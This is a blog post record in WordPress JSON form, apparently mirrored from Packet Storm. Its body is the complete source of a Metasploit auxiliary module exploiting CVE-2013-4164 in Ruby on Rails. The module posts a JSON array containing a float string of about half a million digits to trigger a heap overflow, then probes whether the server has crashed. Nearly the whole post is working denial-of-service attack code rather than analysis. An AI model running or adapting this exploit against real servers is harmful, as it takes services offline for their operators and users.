{"id":59276,"date":"2024-08-31T21:19:53","date_gmt":"2024-08-31T18:19:53","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180519\/rails_json_float_dos.rb.txt"},"modified":"2024-08-31T21:19:53","modified_gmt":"2024-08-31T18:19:53","slug":"ruby-on-rails-json-processor-floating-point-heap-overflow-denial-of-service","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ruby-on-rails-json-processor-floating-point-heap-overflow-denial-of-service\/","title":{"rendered":"Ruby on Rails JSON Processor Floating Point Heap Overflow Denial of Service"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Dos<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Ruby on Rails JSON Processor Floating Point Heap Overflow DoS&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>When Ruby attempts to convert a string representation of a large floating point<br \/>decimal number to its floating point equivalent, a heap-based buffer overflow<br \/>can be triggered. This module has been tested successfully on a Ruby on Rails application<br \/>using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application<br \/>crashes with a segfault error. Other versions of Ruby are reported to be affected.<br \/>},<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Charlie Somerville&#8217;, # original discoverer<br \/>&#8216;joev&#8217;, # bash PoC<br \/>&#8216;todb&#8217;, # Metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;CVE&#8217;, &#8216;2013-4164&#8217; ],<br \/>[ &#8216;OSVDB&#8217;, &#8216;100113&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.ruby-lang.org\/en\/news\/2013\/11\/22\/ruby-1-9-3-p484-is-released\/&#8217; ]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2013-11-22&#8217;))<br \/>register_options(<br \/>[<br \/>OptString.new(&#8216;TARGETURI&#8217;, [false, &#8216;The URL of the vulnerable Rails application&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;HTTPVERB&#8217;, [false, &#8216;The HTTP verb to use&#8217;, &#8216;POST&#8217;])<br \/>])<br \/>end<\/p>\n<p>def uri<br \/>normalize_uri(target_uri.path.to_s)<br \/>end<\/p>\n<p>def verb<br \/>datastore[&#8216;HTTPVERB&#8217;] || &#8216;POST&#8217;<br \/>end<\/p>\n<p>def digit_pattern<br \/>@digit_pattern ||= rand(10_000).to_s<br \/>end<\/p>\n<p>def integer_part<br \/>digit_pattern<br \/>end<\/p>\n<p>def multiplier<br \/>(500_000 * (1.0\/digit_pattern.size)).to_i<br \/>end<\/p>\n<p>def fractional_part<br \/>digit_pattern * multiplier<br \/>end<\/p>\n<p># The evil_float seems to require some repeating element. Maybe<br \/># it&#8217;s just superstition, but straight up 300_002-lenth random<br \/># numbers don&#8217;t appear to trigger the vulnerability. Also, these are<br \/># easier to produce, and slightly better than the static &#8220;1.1111&#8230;&#8221;<br \/># for 300,000 decimal places.<br \/>def evil_float_string<br \/>[integer_part,fractional_part].join(&#8216;.&#8217;)<br \/>end<\/p>\n<p>def run<br \/>print_status &#8220;Using digit pattern of #{digit_pattern} taken to #{multiplier} places&#8221;<br \/>sploit = &#8216;[&#8216;<br \/>sploit &lt;&lt; evil_float_string<br \/>sploit &lt;&lt; &#8216;]&#8217;<br \/>print_status &#8220;Sending DoS HTTP#{datastore[&#8216;SSL&#8217;] ? &#8216;S&#8217; : &#8221;} #{verb} request to #{uri}&#8221;<br \/>target_available = true<\/p>\n<p>begin<br \/>res = send_request_cgi(<br \/>{<br \/>&#8216;method&#8217; =&gt; verb,<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;ctype&#8217; =&gt; &#8220;application\/json&#8221;,<br \/>&#8216;data&#8217; =&gt; sploit<br \/>})<br \/>rescue ::Rex::ConnectionRefused<br \/>print_error &#8220;Unable to connect. (Connection refused)&#8221;<br \/>target_available = false<br \/>rescue ::Rex::HostUnreachable<br \/>print_error &#8220;Unable to connect. (Host unreachable)&#8221;<br \/>target_available = false<br \/>rescue ::Rex::ConnectionTimeout<br \/>print_error &#8220;Unable to connect. (Timeout)&#8221;<br \/>target_available = false<br \/>end<\/p>\n<p>return unless target_available<\/p>\n<p>print_status &#8220;Checking availability&#8221;<br \/>begin<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; verb,<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;ctype&#8217; =&gt; &#8220;application\/json&#8221;,<br \/>&#8216;data&#8217; =&gt; Rex::Text.rand_text_alpha(1+rand(64)).to_json<br \/>})<br \/>if res and res.body and res.body.size &gt; 0<br \/>target_available = true<br \/>else<br \/>print_good &#8220;#{peer}#{uri} &#8211; DoS appears successful (No useful response from host)&#8221;<br \/>target_available = false<br \/>end<br \/>rescue ::Rex::ConnectionError, Errno::ECONNRESET<br \/>print_good &#8220;DoS appears successful (Host unreachable)&#8221;<br \/>target_available = false<br \/>end<\/p>\n<p>return unless target_available<\/p>\n<p>print_error &#8220;Target is still responsive, DoS was unsuccessful.&#8221;<\/p>\n<p>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Dos def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Ruby on Rails JSON Processor Floating Point Heap Overflow DoS&#8217;,&#8216;Description&#8217; =&gt; %q{When Ruby attempts to convert a string representation of a large floating pointdecimal number to its floating point equivalent, a heap-based buffer overflowcan be &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59276","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59276","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59276"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59276\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59276"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59276"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59276"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}